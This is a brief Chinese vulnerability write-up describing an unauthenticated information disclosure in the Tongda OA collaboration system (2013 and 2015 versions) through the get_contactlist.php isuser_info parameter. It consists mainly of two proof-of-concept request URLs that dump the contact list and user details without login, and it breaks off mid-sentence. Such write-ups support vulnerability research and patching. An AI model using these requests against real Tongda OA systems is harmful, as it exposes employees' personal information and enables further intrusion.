通达OA协同办公系统get_contactlist.php文件isuser_info参数信息泄露
一、漏洞简介
无需登录，即可获取所有信息
二、漏洞影响
2013、2015版本
三、复现过程
POC:
http://0-sec.org/mobile/inc/get_contactlist.php?P=1&KWORD=%&isuser_info=3
http://0-sec.org/mobile/user_info/data.php?P=1&ATYPE=getUserInfo&Q_ID=50
将返